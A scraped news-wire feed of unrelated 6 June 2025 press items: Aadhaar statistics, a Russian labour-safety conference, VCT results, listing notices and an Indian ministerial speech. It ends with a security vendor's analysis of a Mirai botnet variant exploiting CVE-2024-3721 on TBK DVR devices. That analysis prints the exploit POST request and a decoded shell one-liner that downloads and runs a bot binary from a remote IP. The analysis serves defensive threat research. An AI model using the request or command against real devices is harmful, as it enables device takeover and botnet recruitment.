The Municipality of Burgas is the fourth-largest municipality in Bulgaria and the city of Burgas is the biggest city in south-eastern Bulgaria. Surrounded by three lakes and the Black Sea, the fast-developing city serves as a commercial and transport hub in the country. Burgas is an important centre for sea tourism with facilities and transport connections to the resorts on the South Black Sea coast.

Bulgarian city Burgas to get EIB guidance for new scientific campus
Bulgarian city Burgas to get EIB guidance for new scientific campus
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Bulgarian city Burgas to get EIB guidance for new scientific campus
Bulgarian city Burgas to get EIB guidance for new scientific campus
©EIB
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Bulgarian city Burgas to get EIB guidance for new scientific campus
Bulgarian city Burgas to get EIB guidance for new scientific campus
©EIB
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MIL OSI Europe News –
June 6, 2025
Face authentication gains traction as Aadhaar transactions surge past 15,223 crore

Source: Government of India

Source: Government of India (4)

Aadhaar number holders carried out over 211 crore authentication transactions in May 2025, taking the cumulative number of such transactions since the inception of Aadhaar to more than 15,223 crore, the Ministry of Electronics and Information Technology said in a statement on Friday.

The ministry noted that Aadhaar authentication transactions in May 2025 exceeded those recorded in May 2024, which stood at 201.76 crore.

“The growing number of authentications highlights the extensive usage and utility of Aadhaar, and the expansion of the digital economy in the country,” the ministry said in a statement.

The Unique Identification Authority of India (UIDAI) also reported continued growth in its AI/ML-powered face authentication system. In May alone, over 15 crore face authentication transactions were recorded, signalling increased adoption of the biometric modality.

More than 100 entities including government ministries and departments, financial institutions, oil marketing companies and telecom service providers are using face authentication to ensure the seamless and secure delivery of services and welfare benefits.

In May 2025, over 37 crore Aadhaar-based e-KYC transactions were conducted, underscoring the increasing adoption of digital verification in sectors such as banking and non-banking financial services. This trend is enhancing customer experience and promoting ease of doing business.

Last month, UIDAI also began sharing non-personal, anonymised data from the Aadhaar Dashboard on the open government data platform, [data.gov.in](https://data.gov.in). According to the Ministry of Electronics and IT, the initiative aims to further promote transparency, research, and data-driven policy making.

ANI

June 6, 2025
MIL-OSI Russia: Occupational safety and personnel policy issues discussed at All-Russian forum at Polytechnic

Translation. Region: Russian Federal

Source: Peter the Great St Petersburg Polytechnic University – Peter the Great St Petersburg Polytechnic University –

On June 5 and 6, the Polytechnic University is hosting the All-Russian Conference “Labor Protection and Personnel Work in Organizations Subordinate to the Ministry of Education and Science of Russia.” The event is organized by the Ministry of Science and Higher Education of the Russian Federation. More than 650 specialists are participating in it, discussing current issues in the field of labor protection and personnel policy.

Participants meet with representatives of relevant government agencies and consider various topics: compliance with labor legislation, holding competitions for positions of professors and teachers, research fellows, certification and selection of managers, anti-corruption policy, labor protection, and social partnership. The work takes place in the format of expert sessions, master classes, and discussion platforms. The experts were also able to get acquainted with the exhibition stands.

State Secretary – Deputy Minister of Science and Higher Education of the Russian Federation Anastasia Bondarenko addressed the participants in a video format: The topics that are raised annually at the conference are the most relevant. Issues of safety and comfortable conditions are a priority. The strategic potential of any organization is people. We must preserve the best traditions that have developed and share experience on the problems that arise.

The words of greeting from the Chairman of the Committee on Science and Higher Education of the St. Petersburg Administration Andrey Maksimov were read by his deputy Vladimir Gaidei: I am confident that the Polytechnic University will once again become a unifying discussion platform for the conference participants. You will have the opportunity to exchange experience and relevant information on issues important for the sustainable and stable functioning of educational and scientific organizations.

The guests were greeted by the rector of SPbPU, academician of the Russian Academy of Sciences Andrey Rudskoy: At the federal level, programs for increasing competitiveness and academic leadership are consistently implemented, which have significantly changed the landscape of higher education, setting, among other things, new requirements for management culture. Personnel policy cannot be formulated in isolation from the university strategy, and it should be built with a focus on creating mechanisms for attracting the best teachers and staff, ensuring an effective contract and consistent integration of teachers’ activities into the implementation of work for industry.

The participants of the plenary session discussed new challenges and solutions in personnel work and labor protection. The discussion was moderated by the President of the Southern Federal University Marina Borovskaya. Director of the Department of Personnel Policy of the Ministry of Education and Science of Russia Alexey Svistunov made a report “Personnel Policy of the Ministry of Science and Higher Education of the Russian Federation: Main Development Trends”. Director of the Department of Legal Support, Administration and Civil Service of the Ministry of Education of Russia Andrey Sobolev spoke about how to improve the efficiency of labor protection services in educational organizations.

Deputy Director of the Department of Working Conditions and Occupational Safety Tatyana Zhigastova devoted her speech to changes and prospects for the development of regulatory frameworks in the field of occupational safety. Chairperson of the Trade Union of Education and Science Workers of the Russian Federation Larisa Solodilova spoke in detail about the implementation of social partnership in solving problems of protecting social and labor rights and the effectiveness of monitoring compliance with labor safety legislation. Chairperson of the All-Russian Trade Union of RAS Workers Galina Chucheva gave a report on “Development of Social Partnership: Proposals of the Trade Union of RAS Workers”.

Acting Head of the Department for Supervision of Compliance with Anti-Corruption Legislation of the St. Petersburg Prosecutor’s Office Yegor Pavlov spoke about the organization’s anti-corruption policy, legislative requirements, their implementation and responsibility. Deputy Head of the Department of the Department of Permit and Visa Work and External Labor Migration of the Main Directorate for Migration of the Ministry of Internal Affairs of Russia, Police Colonel Elena Klimova emphasized the specifics of attracting foreign citizens to work in the Russian Federation. Deputy Director for Research at the Izmerov Research Institute of Occupational Medicine Evgeny Zibarev presented regulatory and legal changes in the field of health protection in his speech. Head of the Department of Acquisition, Departmental Archives and Records Management of the Central State Archive of St. Petersburg Yulia Arslanova spoke about the storage of personnel documents and labor protection documents.

The moderator of the expert session “State supervision, departmental control: typical mistakes in personnel work. Ambiguous trends in law enforcement practice in labor disputes” was the head of the Directorate for Work with Personnel of SPbPU Maria Pakhomova. The participants discussed changes in supervisory activities and risk indicators, recruitment and registration of labor relations with foreign scientific and pedagogical workers, trends in law enforcement practice in labor disputes and other issues.

The moderators of the discussion platform “Improving approaches to remuneration and motivation of personnel” were Deputy Chief Accountant of SPbPU Irina Tomshinskaya and Director of the Department of Economics and Finance of SPbPU Elena Vinogradova. The experts considered the automation of HR processes of the university, the use of IT services to optimize the activities of employees, the system of accounting for the achievements of university-forming personnel, modification of the algorithm for forming the staffing schedule and other topics. Head of the Department of Corporate and Information Systems of SPbPU Denis Varenikov presented the report “Personal account of an employee as a tool for the digital transformation of an institution”. Head of the Labor Protection and Safety Department of SPbPU Yulia Shadrina spoke about the modification of the algorithm for forming the staffing schedule.

The round table “The Role of the Psychological Service in Ensuring Psychological Safety at the University” was moderated by Maxim Pasholikov, Vice-Rector for Youth Policy and Communication Technologies at SPbPU. The participants discussed the activities of psychological services at universities, student support, and aspects of the work of the tutoring service. Anna Kalugina, Director of the Center for Psychological Support at SPbPU, presented a report on “Psychological Aspects of Training First-Year Group Curators.”

The discussion platform “Assessment and development of personnel: current trends and effective mechanisms” was attended by the director of the Higher School of Industrial Management of SPbPU, secretary of the Competition Committee Olga Kalinina, who spoke about the assessment and development of the teaching staff within the framework of competition procedures.

At the discussion platform “Current issues of organizing labor protection in scientific and educational organizations of higher education,” Nikolai Chumakov, associate professor of the Higher School of Technosphere Safety of SPbPU, spoke and presented the specifics of conducting first aid training.

The debate “Experience is no obstacle to mastery. How to find the “golden mean”: professional standards vs. competencies / youth vs. “silver age”” was moderated by Vice-Rector for HR Policy of SPbPU Maria Vrublevskaya. The experts exchanged opinions on strategic issues of human capital management, discussed the age balance of the NPR, ways to attract and retain young people, professional standards and competencies.

The moderator of the round table “Educational and methodological support for training specialists in labor protection” was the director of the Higher School of Technosphere Safety of SPbPU Andrey Andreev. The first vice-president of MANEB, associate professor of SPbPU Vitaly Tsaplin made a report “Artificial intelligence in labor protection management systems”. Senior lecturers of the Polytechnic University Yulia Logvinova and Maxim Polyukhovich spoke about the methodological foundations of the laboratory practical course on labor protection.

Also planned today is a discussion platform “Mentoring as an element of developing human resources potential” together with the UNESCO Department at SPbPU and other activities.

Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

MIL OSI Russia News –

June 6, 2025
MIL-OSI United Kingdom: City of York Council proud to support LGBTQIA+ communities

Source: City of York

Published Friday, 6 June 2025

Council teams will have a visible presence at York Pride 2025 to show the council’s support for LGBTQIA+ people, promote services and provide information and advice.

City of York Council is once again a sponsor of York Pride and is pleased to be taking part in the parade and main event at Knavesmire this Saturday (7 June 2025).

Council teams will have a visible presence to show the council’s support for LGBTQIA+ people, promote services and provide information and advice.

One Adoption North Humber regional adoption agency will be there to speak to people along with staff from our fostering service. The popular “Council on a couch” – where residents can put their questions to council managers – will return for 2025. Health trainers will also be on hand to offer health and wellbeing support.

The Mansion House team will be on site promoting the Georgian Festival with a demonstration of Georgian fan language. This was a secret code young people used to communicate with each other at balls. The team have fan shaped festival leaflets to hand out and members of the public can have a go at learning fan language themselves.

Councillor Katie Lomas, Executive Member for Finance, Performance, Major Projects, Human Rights, Equality and Inclusion, said:

“York Pride is an award-winning, event that draws significant visitors and residents together to celebrate the diversity in and around our great city.

“This event boosts tourism revenue for hotels, restaurants, and other businesses. We are proud to be involved and to promote the important message of inclusivity.

“The council committed some years ago, cross party, to be trans-inclusive in how we deliver services. As an authority, we are deeply committed to York being an inclusive, respectful and safe city for LGBTQIA+ people.

“Whether you’re a member of the LGBTQIA+ community or an ally, Pride is for all, and we hope to see you there.”

MIL OSI United Kingdom –

June 6, 2025
MIL-OSI Russia: The HSE has completed the TMH management reserve training program

Translation. Region: Russian Federal

Source: State University Higher School of Economics – State University Higher School of Economics –

As part of the corporate program “Key Reserve: Broad Development Horizons,” the heads of TMH enterprises prepared to solve the company’s strategic tasks. Training in Higher School of Business The HSE University aimed to develop key competencies among TMH employees, which are necessary for the effective management of a modern business.

The training was aimed at developing key competencies in TMH employees, necessary for effective management of a modern business. Over the course of a year, 47 program participants mastered strategic financial management, operational efficiency, change management and team development. The program also covered such areas as B2B and B2G marketing, making management decisions in conditions of uncertainty, conducting negotiations and implementing changes in the company.

The educational trajectory included five modules, midterm tests and final defense of individual projects. Each participant demonstrated how he or she applies new knowledge in his or her management activities.

The program combined the knowledge of the HSE professors and practitioners and the expertise of TMH top managers. The leading teachers were Natalia Shishlakova, Deputy General Director for Corporate Development and Project Activities — Member of the TMH Management Board, Andrey Vasiliev, Deputy General Director for Operations — Member of the TMH Management Board, Oleg Domsky, Deputy General Director for Economics and Finance — Member of the TMH Management Board, Andrey Sheremetyev, Deputy General Director for Commercial Activities — Member of the Management Board, and Vladimir Chekalin, General Director of DMZ JSC.

The results of the training were summed up on May 16: the program participants presented their work to a committee that included top managers of TMH and teachers of the Higher School of Business of the National Research University Higher School of Economics.

Natalia Shumkova, Deputy Director for Corporate Training at the Higher School of Business, National Research University Higher School of Economics

“The partnership with TMH is a shining example of successful interaction between business and education. Joint work on the program allowed us to create a unique educational product that not only forms the management competencies of the participants, but also directly influences the strategic development of the company. We see the high practical value of the training and the willingness of the participants to apply the knowledge they have gained in their work.”

Natalia Shishlakova, Deputy General Director for Corporate Development and Project Activities – Member of the Management Board of TMH

“The Key Reserve: Broad Development Horizons program, implemented in partnership with the HSE Graduate School of Business, has become an important stage in TMH’s systematic work on developing its management reserve. Thanks to its practical focus, the participants mastered the tools of operational efficiency, strategic financial management, and teamwork. This knowledge is already being applied in projects, improving the quality of management decisions, transparency of processes, and coordination of actions. A comprehensive understanding of interrelated production and management factors helps to formulate mature and sustainable solutions. Inclusion in the teaching staff of the TMH senior management program in cooperation with the HSE Graduate School of Business played a key role in achieving these results: the expertise of the business school, the flexibility of the format, and deep immersion in the specifics of TMH’s business made it possible to make the program as practical as possible and focused on real tasks.”

The program covered the best practices of senior management development. This allowed its participants not only to develop important management skills, but also to contribute to the further development of the holding, which is the leading manufacturer of rolling stock in Russia.

Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

MIL OSI Russia News –

June 6, 2025

MIL-OSI: ProVen Growth and Income VCT plc: Annual Financial Report

Source: GlobeNewswire (MIL-OSI)

ProVen Growth and Income VCT plc

Annual Financial Report
Year Ended 28 February 2025

ProVen Growth and Income VCT plc, managed by Beringea LLP, today announces the final results for the year ended 28 February 2025. These results were approved by the Board of Directors on 5 June 2025.

Fund Overview

Ordinary Shares as at:	28 February 2025	29 February 2024
Net asset value per Ordinary Share	50.2p	54.7p
Dividends paid since class launch (originally as ‘C’ Shares)	81.15p	78.4p
Total return (net asset value plus dividends paid since ‘C’ Share class launch)	131.35p	133.1p
Year on year change in:
Net asset value per Ordinary Share (adjusted for dividends paid in the year)	(3.2)%	6.5%
Dividends:
Dividends paid/payable in respect of year	2.75p	2.75p
Dividend yield	5.2%	5.2%

Dividends

Your Board is proposing a final dividend for the year ended 28 February 2025 of 1.5p per share to be paid on 15 August 2025 to Shareholders on the register on 18 July 2025. The payment of this dividend is subject to Shareholder approval at the Company’s forthcoming AGM, details of which can be found below.

The payment of this dividend will result in an equivalent reduction in the Company’s NAV per share. The total tax-free dividends of 2.75p per share for the year ended 28 February 2025 represents a cash return to Shareholders of 5.2% on the opening NAV per share at 1 March 2024, after deducting the prior year’s final dividend of 1.5p per share.

Annual General Meeting

The next AGM of the Company will be held at the offices of Beringea LLP, at Charter House, 55 Drury Lane, London, WC2B 5SQ at 12:30pm on Tuesday 15 July 2025. Those intending to attend the AGM are asked to register their intention by emailing info@beringea.co.uk in advance of the meeting.

We understand that attendance in person may not be possible or desirable for all who wish to attend. Therefore, the Company offers Shareholders the option to follow proceedings of the meeting via video conference link. Any Shareholders who wish to follow the meeting remotely, should email info@beringea.co.uk for joining instructions.

Please note that Shareholders will not be able to vote or ask questions at the AGM when joining remotely. Shareholders are encouraged, even if they are planning to attend the AGM in person, to exercise their votes by submitting their proxy electronically via their Signal Shares account at https://www.signalshares.com/ and to appoint the Chair of the AGM as their proxy with their voting instructions.

Shareholders who wish to submit questions in advance of the AGM may do so via e-mail to info@beringea.co.uk and the Board will endeavour to respond to questions raised at the meeting.

Shareholder event

The Company’s Annual Shareholder Event continues to be well received and provides an important opportunity for Shareholders to hear from the Investment Manager on topics such as performance and investment activity, to ask questions of your Board, and to receive insights and updates from the portfolio companies.

With a shareholder base of more than 12,000, we feel it is important to prioritise equal access to this event to as many Shareholders as possible throughout the country and we therefore host the Annual Shareholder Event online. Holding the event online, rather than in person, is a more cost-effective way of reaching a larger audience, thereby benefiting all Shareholders. This year’s event has been scheduled for 10:30am to 11:45am on Tuesday, 15 July 2025.

You can sign up for the Annual Shareholder Event at https://proven.connectid.cloud. If you have any questions about the event or if you would like any support with registering, then please contact Beringea via events@beringea.co.uk.

You may view the Annual Financial Report in full at https://www.proveninvestments.co.uk/vct/shareholder-area. All other statutory information can also be found there.

A copy of the above document has been submitted to the National Storage Mechanism and will shortly be available for inspection at https://data.fca.org.uk/#/nsm/nationalstoragemechanism.

For further information, please contact:
Beringea LLP
Company Secretary
Telephone 020 7845 7820

The MIL Network –

June 6, 2025

MIL-OSI: Codere Online Regains Compliance with Nasdaq Listing Requirements

Source: GlobeNewswire (MIL-OSI)

Luxembourg, Grand Duchy of Luxembourg, June 6, 2025 (GLOBE NEWSWIRE) – Codere Online Luxembourg, S.A. (Nasdaq: CDRO / CDROW) (the “Company” or “Codere Online”), a leading online gaming operator in Spain and Latin America, today announced that it has received formal notification from the Nasdaq Stock Market LLC (“Nasdaq”) confirming that the Company has regained compliance with Nasdaq Listing Rule 5250(c)(1) and that the Company is therefore in compliance with the Nasdaq Capital Market’s listing requirements. As a result, the Company’s securities will continue to be listed and traded on the Nasdaq Capital Market and are no longer subject to a delisting process.

This confirmation follows Codere Online’s filing of its annual report on Form 20-F for the year ended December 31, 2024, with the U.S. Securities and Exchange Commission (“SEC”) on June 2, 2025. As part of its formal communication, Nasdaq also notified the Company that the hearing requested on May 22^nd to review the delisting determination has been cancelled.

About Codere Online

Codere Online refers, collectively, to Codere Online Luxembourg, S.A. and its subsidiaries. Codere Online launched in 2014 as part of the renowned casino operator Codere Group. Codere Online offers online sports betting and online casino through its state-of-the art website and mobile applications. Codere currently operates in its core markets of Spain, Mexico, Colombia, Panama and Argentina. Codere Online’s online business is complemented by Codere Group’s physical presence throughout Latin America, forming the foundation of the leading omnichannel gaming and casino presence.

Forward-Looking Statements
Certain statements in this press release may constitute “forward-looking statements” within the meaning of the “safe harbor” provisions of the United States Private Securities Litigation Reform Act of 1995. Forward-looking statements include, but are not limited to, statements regarding the Company or its management team’s expectations, hopes, beliefs, intentions or strategies regarding the future.

These forward-looking statements are based on information available as of the date of this document and current expectations, forecasts and assumptions, and involve a number of judgments, risks and uncertainties. Accordingly, forward-looking statements should not be relied upon as representing the Company’s or its management team’s views as of any subsequent date, and the Company does not undertake any obligation to update forward-looking statements to reflect events or circumstances after the date they were made, whether as a result of new information, future events or otherwise, except as may be required under applicable securities laws.

As a result of a number of known and unknown risks and uncertainties, the Company’s actual results or performance may be materially different from those expressed or implied by these forward-looking statements. There may be additional risks that the Company does not presently know or that the Company currently believes are immaterial that could also cause actual results to differ from those contained in the forward-looking statements. Additional information concerning certain of these and other risk factors is contained in Codere Online’s filings with the SEC. All subsequent written and oral forward-looking statements concerning Codere Online or other matters attributable to Codere Online or any person acting on their behalf are expressly qualified in their entirety by the cautionary statements above.

Contacts:

Investors and Media
Guillermo Lancha
Director, Investor Relations and Communications
Guillermo.Lancha@codereonline.com
(+34) 628.928.152

The MIL Network –

June 6, 2025
MIL-OSI: Black Gold Expands Market Presence with Triple Listings

Source: GlobeNewswire (MIL-OSI)

VANCOUVER, B.C., June 06, 2025 (GLOBE NEWSWIRE) — Black Gold Exploration Corp. (the “Company” or “BGX”) (CSE: BGX) (OTCQB: BGXCF) (FRA: BLGX) announces that its common shares are now trading under the symbol “BGXCF” on the OTCQB board of OTC Markets, a US trading platform that is operated by the OTC Markets Group in New York (the “OTC Listing”). The Company’s common shares will continue to trade on the Company’s primary market, the Canadian Securities Exchange, under the symbol “BGX” as well as on the Frankfurt Stock Exchange under the symbol “BLGX”.

This strategic expansion enhances BGX’s visibility, trading accessibility, and investor reach across North America and Europe, opening the door to a broader base of shareholders who the Company believes will recognize the potential of the Company’s emerging operations in the U.S. Midwest. BGX has now put its Fritz 2-30 well into production, of which it retains a 10% interest as part of its joint venture with LGX Energy Corp.

Francisco Gulisano, CEO of the Company stated: “We are working with a scalable asset base, a working interest in a production well with a proven technical team. Now with increasing access to global capital markets, we believe BGX is strategically positioned to continue to grow its operations and create long-term value for shareholders.”

In connection with the OTC Listing, the Company is pleased to announce that it has received DTC eligibility by The Depository Trust Company (“DTC”), a subsidiary of the Depository Trust & Clearing Corporation. Securities that are eligible to be electronically cleared and settled through the DTC are considered “DTC eligible.” This electronic method of clearing securities speeds up the receipt of stock and cash, and thus accelerates the settlement process for investors and brokers reducing transactional costs for participating brokerage firms, enabling the stock to be traded over a much wider selection of brokerage firms by coming into compliance with their requirements. DTC provides depository and book entry services, along with a settlement system for equities in the United States and across the globe. The organization is a member of the U.S. Federal Reserve System and a registered clearing agency with the U.S. Securities and Exchange Commission.

On behalf of the Company,
Francisco Gulisano
236-266-5174
CEO

About BGX

BGX – Black Gold Exploration Corp. is an oil and gas exploration and production company dedicated to creating shareholder value in the Illinois Basin. With an experienced technical team and a growing asset base, BGX is unlocking value using modern drilling and completion technologies. For more information visit https://www.bgxcorp.com.

Forward-Looking Statements

The information in this news release includes certain information and statements about management’s view of future events, expectations, plans, and prospects that constitute forward-looking statements. These statements include statements respecting: (i) the expected benefits of the OTC listing; (ii) the Company being strategically positioned to continue to grow its operations and create long-term value for shareholders; and (iii) the expected benefits of the DTC eligibility. These statements are based upon assumptions that are subject to risks and uncertainties. It should be noted that there are inherent risks and uncertainties in oil and gas exploration. Although the Company believes that the expectations reflected in forward-looking statements are reasonable, it can give no assurances that the expectations of any forward-looking statement will prove to be correct. Except as required by law, the Company disclaims any intention and assumes no obligation to update or revise any forward-looking statements to reflect actual results, whether as a result of new information, future events, changes in assumptions, changes in factors affecting such forward-looking statements, or otherwise. For a comprehensive overview of all risks that may impact the Company, please see the Company’s continuous disclosure documents filed on SEDAR+.

Neither the CSE nor the CSE’s Regulation Services Provider (as that term is defined in the policies of the CSE) accept responsibility for the accuracy of this release.

The MIL Network –

June 6, 2025
MIL-OSI: Online Taxman Recognized at Prestigious 2025 FEM EMMA Awards In Recognition of Innovation and Excellence

Source: GlobeNewswire (MIL-OSI)

NEW YORK, June 06, 2025 (GLOBE NEWSWIRE) — Leading online expatriate tax services provider Online Taxman has received the Highly Commended award in the Best Banking, Tax or Financial Services Provider of the Year category at the prestigious 2025 FEM EMMA Awards.

The EMMA awards celebrate the best and most innovative firms in the global mobility industry. The results were announced at a gala dinner at the Warwick Melrose Hotel in Dallas, TX on Thursday May 15th, an evening dedicated to celebrating success, best practice and outstanding contributions by firms serving expats.

FEM EMMA awards recognize significant innovation and thought-leadership in the field of global mobility, and firms that go the distance to make a positive impact on their clients.

All Americans have to file US taxes, even if they reside overseas. Vincenzo Villamena, CPA founded Online Taxman in 2010 to make the process of filing from abroad easier for the estimated 9 million overseas-resident Americans. The firm now has clients in almost every country in the world.

The judges were impressed by how Online Taxman establishes and maintains personal a client/CPA relationship despite its global footprint, as well as its utilizing technical innovation and establishing local partnerships to make filing taxes easier from abroad.

Online Taxman has also expanded to provide a holistic suite of services for its American expat clients and American international business owners, including financial advisory services, and setting up tax-efficient corporate structures for expat entrepreneurs.

Villamena said: “We’re deeply honored to receive recognition for our ongoing commitment to excellence serving our American expat clients around the world. While having to file US taxes from abroad is burdensome and complex, we’re dedicated to making the experience as smooth and hassle-free as possible for our expat clients. We believe we’ve set new benchmarks in service standards and remote accounting quality, and we’re excited to be publicly acknowledged at the 2025 FEM EMMA Awards.”

With clients in almost every country on earth, Online Taxman is a leading provider of US expat accounting services for the estimated 9 million Americans living abroad. For further information visit https://onlinetaxman.com/

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/ae8be2e4-4a3a-4643-bae9-2f51a0a61749

The MIL Network –

June 6, 2025

MIL-OSI: PROVEN VCT PLC: Annual Financial Report

Source: GlobeNewswire (MIL-OSI)

ProVen VCT plc

Annual Financial Report
Year ended 28 February 2025

ProVen VCT plc, managed by Beringea LLP, today announces the final results for the year ended 28 February 2025. These results were approved by the Board of Directors on 5 June 2025.

Fund Overview

Ordinary Shares as at:	28 February 2025	29 February 2024
Net asset value per Ordinary Share	62.9p	65.2p
Dividends paid since launch	87.5p	84.25p
Total return (net asset value plus dividends paid since launch)	150.4p	149.45p
Year on year change in:
Net asset value per Ordinary Share (adjusted for dividends paid in the year)	1.5%	4.9%
Dividends:
Dividends paid/payable in respect of year	3.25p	3.25p
Dividend yield	5.1%	5.1%

Dividends
Your Board is proposing a final dividend for the year ended 28 February 2025 of 1.75p per share to be paid on 15 August 2025 to Shareholders on the register on 18 July 2025. The payment of this dividend is subject to Shareholder approval at the Company’s forthcoming AGM, details of which can be found below.

The payment of this dividend will result in an equivalent reduction in the Company’s NAV per share. The total tax-free dividends of 3.25p per share for the year ended 28 February 2025 represents a cash return to Shareholders of 5.1% on the opening NAV per share at 1 March 2024, after deducting the prior year’s final dividend of 1.75p per share.

Annual General Meeting
The next AGM of the Company will be held at the offices of Beringea LLP, at Charter House, 55 Drury Lane, London, WC2B 5SQ at 12:00pm on Tuesday 15 July 2025. Those intending to attend the AGM are asked to register their intention by emailing info@beringea.co.uk in advance of the meeting.

Shareholders who wish to submit questions in advance of the AGM may do so via e-mail to info@beringea.co.uk and the Board will endeavour to respond to questions raised at the meeting.

Shareholder event
The Company’s Annual Shareholder Event continues to be well received and provides an important opportunity for Shareholders to hear from the Investment Manager on topics such as performance and investment activity, to ask questions of your Board, and to receive insights and updates from the portfolio companies.

With a shareholder base of more than 12,000, we feel it is important to prioritise equal access to this event to as many Shareholders as possible in the country and we therefore host the Annual Shareholder Event online. Holding the event online, rather than in person, is a more cost-effective way of reaching a larger audience, thereby benefiting all Shareholders. This year’s event has been scheduled for 10:30am to 11:45am on the morning of the AGM, Tuesday, 15 July 2025.

You may view the Annual Financial Report in full at https://www.proveninvestments.co.uk/vct/shareholder-area. All other statutory information can also be found there.

A copy of the above document has been submitted to the National Storage Mechanism and will shortly be available for inspection at https://data.fca.org.uk/#/nsm/nationalstoragemechanism.

For further information, please contact:
Beringea LLP
Company Secretary
Telephone 020 7845 7820

The MIL Network –

June 6, 2025

EAM Jaishankar lauds Central Asia’s support in condemning Pahalgam attack at 4th India-Central Asia Dialogue

Source: Government of India

Source: Government of India (4)

External Affairs Minister S. Jaishankar on Friday expressed gratitude to Central Asian nations for their solidarity in condemning the April 22, 2025, terrorist attack in Pahalgam, Jammu and Kashmir, during his opening remarks at the 4th India-Central Asia Dialogue. “I appreciate that your countries stood by India and condemned the heinous terrorist attack that took place in April in Pahalgam,” Jaishankar stated, underscoring the shared commitment to countering terrorism.

Highlighting the deep historical and cultural connections between India and Central Asia, Jaishankar noted that these ties, spanning millennia, have evolved into a robust partnership. “India deeply cherishes its millennia-old civilizational and cultural ties with Central Asia. These age-old bonds forged through trade, exchange of ideas, and people-to-people contacts have strengthened over time,” he said. The minister traced the modern diplomatic relationship to 1992, with a significant boost following Prime Minister Narendra Modi’s visits to all five Central Asian capitals in July 2015.

Jaishankar emphasized the growth in trade and economic ties over the past decade, facilitated by enhanced connectivity through direct flights and increased two-way tourism and business exchanges. He highlighted the popularity of Central Asian countries as destinations for Indian students pursuing higher education, which further strengthens people-to-people ties.

India’s role as a trusted development partner was also a key focus. Jaishankar pointed to initiatives such as I-Tech training programs, Indian Council for Cultural Relations (ICCR) scholarships, and High-Impact Community Development Projects, including equipping schools with computers and hospitals with medical equipment. These efforts, he said, reflect India’s commitment to supporting socio-economic development in Central Asia.

The minister recalled the elevation of India-Central Asia cooperation to a leaders’ level with the first virtual summit in January 2022, which expanded collaboration in areas such as trade, culture, security, and diplomacy. He also referenced productive discussions held on Thursday at the India-Central Asia Business Council, focusing on digital technology, fintech, and inter-bank relations to unlock the full potential of economic cooperation.

Jaishankar reaffirmed India’s commitment to advancing mutually beneficial partnerships across sectors, including trade, investment, defense, agro-processing, textiles, pharmaceuticals, regional connectivity, security, education, culture, and emerging technologies. “I am sure that these deliberations would help us in forging even closer, deeper, stronger, and wider partnership which would serve the interest of the people of our countries,” he concluded, expressing optimism about the outcomes of the dialogue.

(With ANI inputs)

June 6, 2025

MIL-OSI Banking: Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721

Source: Securelist – Kaspersky

Headline: Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721

The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.

We recently observed the use of CVE-2024-3721 in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous Mirai botnet, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.

Exploitation

During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a CVE-2024-3721. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:

“POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1” 200 1671 “-” “Mozila/5.0”

1	“POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1” 200 1671 “-“ “Mozila/5.0”

The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.

cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk

1	cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk

Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. However, in this case, since the attack is specifically targeted at devices that only support ARM32 binaries, the reconnaissance stage is unnecessary.

Malware implant – Mirai variant

The source code of the Mirai botnet was published on the internet nearly a decade ago, and since then, it has been adapted and modified by various cybercriminal groups to create large-scale botnets mostly focused on DDoS and resource hijacking.

The DVR bot is also based on the Mirai source code but it includes different features as well, such as string encryption using RC4, anti-VM checks, and anti-emulation techniques. We’ve already covered Mirai in many posts, so we’ll focus on the new features of this specific variant.

Data decryption

The data decryption routine in this variant is implemented as a simple RC4 algorithm.

The RC4 key is encrypted with XOR. After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177.

The decrypted RC4 key is used to decrypt the strings. After each piece of data is decrypted, it is inserted into a vector of a custom DataDecrypted structure, which is a simple string list:

Data decryption routine

The global linked list with decrypted data is accessed whenever the malware needs particular strings.

Adding decrypted strings to the global list

Anti-VM and anti-emulation

To detect if it is currently running inside a virtual machine or QEMU, the malware lists all processes until it finds any mention of VMware or QEMU-arm. Listing running processes is simply a matter of opening the /proc directory, which is the proc filesystem on Linux.

Each process ID (PID) has its own folder containing useful information, such as cmdline, which describes the command used to start the process. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.

Process check

The implant also verifies if the bot process is running outside an expected directory, based on a hardcoded list of allowed ones:

Allowed directories

Once those checks are successfully completed, Mirai will continue normal execution, preparing the vulnerable device for receiving commands from the operator.

Infection statistics

According to our telemetry data, the majority of infected victims are located in countries such as China, India, Egypt, Ukraine, Russia, Turkey, and Brazil. It’s challenging to ascertain the exact number of vulnerable and infected devices globally. However, by analyzing public sources, we’ve identified over 50,000 exposed DVR devices online, indicating that attackers have numerous opportunities to target unpatched, vulnerable devices.

Conclusion

